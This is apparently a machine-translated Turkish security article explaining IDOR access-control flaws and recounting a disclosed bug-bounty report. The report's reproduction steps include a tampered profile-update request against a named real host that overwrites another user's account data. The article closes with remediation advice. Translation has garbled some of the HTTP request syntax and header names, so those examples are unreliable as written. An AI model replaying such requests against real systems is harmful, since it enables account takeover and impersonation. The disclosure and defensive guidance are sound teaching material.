IDOR Güvenlik Açığı Kullanıcı Profilinin Değiştirilmesine Nasıl Yol Açtı?


7. Yıllık Hacker Destekli Güvenlik Raporu’na göre IDOR, HackerOne platformu aracılığıyla bildirilen güvenlik açıklarının %7’sini oluşturuyor. Devlet kurumları ve otomotiv kuruluşları, devlet kurumlarına gönderilen raporların %15’ini ve otomotiv sektöründeki raporların %11’ini oluşturan IDOR raporlarının özellikle yüksek oranda görüldüğünü belirtti.

IDOR güvenlik açıkları aşağıdakiler de dahil olmak üzere çeşitli bileşenlerde ortaya çıkabilir:

URL Sorgu Parametreleri

Bir URL adresindeki sorgu parametreleriyle ilişkilendirilen kaynaklar, son kullanıcılar tarafından kolaylıkla değiştirilebilir. Örneğin:

https://example.com/account?id=3

Hangi kullanıcı hesabının görüntüleneceğini belirten id parametresinin sayısal değerini değiştirerek, kullanıcı, sağlanan numara bir hesapla ilişkilendirildiği sürece başka herhangi bir kullanıcının hesabına erişebilir. Kullanıcı izinlerini doğrulayamayan erişim kontrolü kontrollerinin eksik olması nedeniyle oluşur. Hız sınırlama uygulamasının yokluğunda, otomatik takımlama, kısa bir süre içinde çok büyük miktarda potansiyel sayısal değerleri yineleyebilir.

Dosya adları aynı zamanda IDOR güvenlik açığından yararlanmaya yönelik olası bir saldırı vektörü de olabilir. Aynı dizindeki dosyalar için doğrudan veya kullanımıyla bunlara başvurulabilir. dizin geçişi teknikler (veya yalnızca mutlak yolu sağlamak), tüm dosya sistemi açığa çıkarılabilir.

HTTP İstekleri

Köprü Metni Aktarım Protokolü (HTTP) istekleri, IDOR’un kötüye kullanılmasına yol açabilecek birden fazla farklı öğe içerir; örneğin:

Başlıklar: Çerezler gibi istek başlıkları, kullanıcıya özel kaynaklar sunmak amacıyla kullanıcı tanımlayıcıları olarak görev yapar. Değerlerde yeterli entropi yoksa geçerli değerler kolaylıkla tahmin edilebilir. Açıklamak gerekirse, aşağıdaki örnekte yalnızca altı karakter uzunluğunda bir oturum kimliği çerezi kullanılmaktadır. Her oturum kimliği, son üç dizini dolduran rakamlarla birlikte üç küçük harften oluşan aynı formata bağlı kalırsa, olası benzersiz kombinasyonların toplam sayısı 17.576.000 olur. Yine hız sınırlamasının sunduğu korumalar olmadan, aktif kullanıcı oturumlarını numaralandırmak için otomatik araçlar kullanılarak çok büyük miktarlarda istek gönderilebilir ve bu da hesabın ele geçirilmesine yol açabilir.

GET /HTTP/1.1’i yükler
Ana bilgisayar: example.com
Çerez: sessionid=abc123

Gövde Verileri: Çeşitli türlerdeki gövde verileri, savunmasız parametreler içerebilir. Örneğin, bir hesapla ilişkili e-posta adresinin değiştirilmesine yönelik aşağıdaki form gönderme isteği, kötü niyetli saldırganlar tarafından kurban hesabının kontrolünü ele geçirmek için kullanılabilir:

POST /hesap-e-postasını değiştir HTTP/1.1
Ana bilgisayar: example.com
İçerik Türü: application/x-www-form-urlencoded
İçerik Uzunluğu: 44

kullanıcı adı=johndoe&email=johndoe%40example.com

API isteklerinde gönderilen JSON verileri de bir güvenlik açığı kaynağı olabilir:

POST /api/v2/kullanıcı verileri HTTP/1.1
Ana bilgisayar: example.com
İçerik Türü: application/json
İçerik Uzunluğu: 64

{
“kullanıcı adı”: “johndoe”,
“e-posta”: “[email protected]
}

HTTP Yanıtları

Yanıtlar ayrıca güvenlik açığı bulunan başlıkları ve gövde verilerini de içerebilir. Örneğin, kullanıcının rolüne bağlı olarak kullanıcı arayüzünün farklı öğelerini görüntülemek için özellik bayraklarını kullanan bir web uygulamasını düşünün. Eşleştir ve değiştir kurallarının kullanılması IDOR güvenlik açıklarını kolaylaştırabilir. Yanıtta sunulan HTML dosyası aşağıdakine benzer bir parametre içerebilir:

isAdmin değerinin true olarak ayarlanması, kullanıcı arayüzünün yalnızca meşru web sitesi yöneticilerine yönelik bölümlerini etkinleştirebilir.

İstismar

27 Eylül 2022’de güvenlik araştırmacısı Reachaxis, keşfettikleri bir IDOR güvenlik açığını açıklayan bir rapor sundu. https://mtnmobad.mtnbusiness.com.ng/. Yetki doğrulamasının olmaması nedeniyle uzaktaki kullanıcılar başka herhangi bir kullanıcının hesap bilgilerini değiştirebildi.

Değiştirilebilen bilgiler arasında ilgili hesabın kullanıcı adı, şirket adı, adresi, şirket büyüklüğü ve kritik olarak cep telefonu numarası yer alıyordu.

Bu web uygulaması reklam ortakları için hesaplar sağladığından, bir saldırgan verilen telefon numarasını kullanarak etkilenen şirketin kimliğine bürünmüş olabilir. Bu nedenle bulgu ciddiyet açısından Kritik olarak derecelendirildi.

Çoğaltmanın Adımları

1. İki hesap oluşturuldu: biri mağdurun temsilcisi, diğeri ise saldırganın rolünü üstleniyor.

2. Oturum çakışması sorunlarını önlemek için her iki hesapta da ayrı tarayıcılar kullanılarak oturum açıldı.

3. POST isteğine yanıt olarak /app/dashboardVerileri uç nokta, hesap kimliği ve diğer hesaplarla ilişkili e-postalar elde edilebilir.

4. Hesap bilgilerini güncellemek için kullanılan form şu adreste yer almaktadır: https://mtnmobad.mtnbusiness.com.ng/#/UserProfile. Formun gönderilmesi bir talep oluşturdu /app/updateKullanıcı uç nokta.

5. Saldırganın oturumunda formu göndererek ve saldırganın daha sonraki talebini engelleyerek /app/updateKullanıcı bir HTTP proxy aracı kullanılarak istek değiştirilebilir.

POST /app/updateKullanıcı HTTP/1.1
Ana bilgisayar: mtnmobad.mtnbusiness.com.ng
–kesinti–
“güncellemeler”:[
    {
      “param”:”user”,
      “value”:{
        “id”:”/333″,
        “contact”:{
          “name”:”ABC”,
          “address”:”ABC”
          “mobile”:”0000000123″
          “email”:”[email protected]
        },
        “companyName”:”ABC”,
        “companySize”:”<50"
      },
      “op”:”a”
    }
  ],
–kesinti–

6. Hesap kimliğini ve e-posta adresini mağdurunkiyle eşleşecek şekilde değiştirerek, kurbanın hesabıyla ilişkili kullanıcı adı, şirket adı, adres, şirket büyüklüğü ve cep telefonu numarası keyfi değerlerle değiştirilebilir.

HTTP/1.1 200 Tamam
Sunucu: nginx/1.4.6 (Ubuntu)
–kesinti–

{
“hata”:yanlış,
“cevap”:{
“_index”:”hesap”,
“_type”:”Hesap”,
“_id”:”/888″,
“_sürüm”:13,
“sonuç”:”güncellendi”,
“_parçalar”:{
“toplam”:2,
“başarılı”:1,
“başarısız”:0
},
–kesinti–

IDOR Saldırılarına Karşı Koruma

IDOR güvenlik açıkları, erişim kontrolü güvenlik açıklarının bir alt kümesi olarak değerlendirildiğinden, uygun yetkilendirme mekanizmalarının uygulanması bu güvenlik açığını önleyebilirdi.

Hesap tanımlayıcı ve diğer hesapların e-posta adresi gibi hassas verilerin tüm kullanıcılara açıklanması, bu güvenlik açığından yararlanmada kilit rol oynadı. Kurbanın hesabıyla ilişkili e-posta adresini bilmeden bir saldırganın bu güvenlik açığından yararlanması çok daha zor olurdu.

Öte yandan, saldırgan yalnızca kurbanın hesabının e-posta adresini biliyor olsaydı, hesap tanımlayıcının yalnızca üç basamak uzunluğunda olduğunu, yani yalnızca 1000 olası benzersiz kombinasyonun mevcut olduğunu belirtmekte fayda var. Bir saldırganın otomatik araç kullanarak geçerli bir e-posta adresi sağlaması durumunda, eşleşen hesap tanımlayıcısı çok kısa bir süre içinde keşfedilebilirdi.

Benzer nitelikte ortaya çıkan IDOR güvenlik açıklarını düzeltmek için aşağıdaki en iyi uygulamalara uyulmalıdır:

  • Otomatik araçlara yalnızca olası IDOR güvenlik açıklarını belirlemek için güvenilmemelidir. Uygulamanızın altında yatan mantığın derinlemesine anlaşılması gerektiğinden, uygulamanızın bu sorunların kaynağı olabilecek alanlarını belirlemek için manuel inceleme en iyi yöntemdir.
  • Geliştiriciler, nesnelere yapılan referansları herkese açık olarak görüntülemekten kaçınmalıdır, çünkü bu durumda yalnızca iki nesnenin numaralandırılması gerekiyordu (hedef kimliği ve e-postası) bir saldırı gerçekleştirmek için.
  • Kaynaklara yapılan herhangi bir referans, kısa uzunluktaki sayısal, muhtemelen sıralı değerlerden ziyade kriptografik olarak güçlü rastgele değerler olmalıdır. Bu gizlenmiş değerler daha sonra orijinal referanslarına geri eşlenebilir, böylece uygulama ikisiyle eşleşebilir. Bunun kapsamlı bir savunma önlemi olarak kabul edildiğini ve yalnızca buna güvenilmemesi gerektiğini unutmayın.
  • Otomatik araçlara karşı koymak amacıyla, isteklerin normal kullanıcı etkinliği seviyelerine gerçekçi bir hızda işlenmesini sağlamak için hız sınırı korumaları entegre edilebilir.
  • Doğru kullanıcıların yalnızca kendilerine yönelik kaynaklara eriştiğini doğrulamak için yetkilendirme kontrollerini zorunlu kılın. Uygun kaynakları bir kullanıcının oturumuyla ilişkilendirerek ek kaynaklara yetkisiz erişim azaltılabilir. Genellikle bunu kolaylaştırmanın yollarını sağlayan web çerçeveleri vardır.

Çözüm

IDOR güvenlik açıklarının varlığı, bir kuruluş ve kullanıcıları için ciddi sonuçlara yol açabilir. En iyi güvenlik uygulamalarına bağlı kalarak bu tür bir saldırının kurbanı olma riski büyük ölçüde azaltılabilir. Bunların nasıl oluştuğunu ve nasıl istismar edildiğini anlayarak siz ve ekibiniz, IDOR güvenlik açığına neden olabilecek potansiyel koşulları tanımlayabileceksiniz.



Source link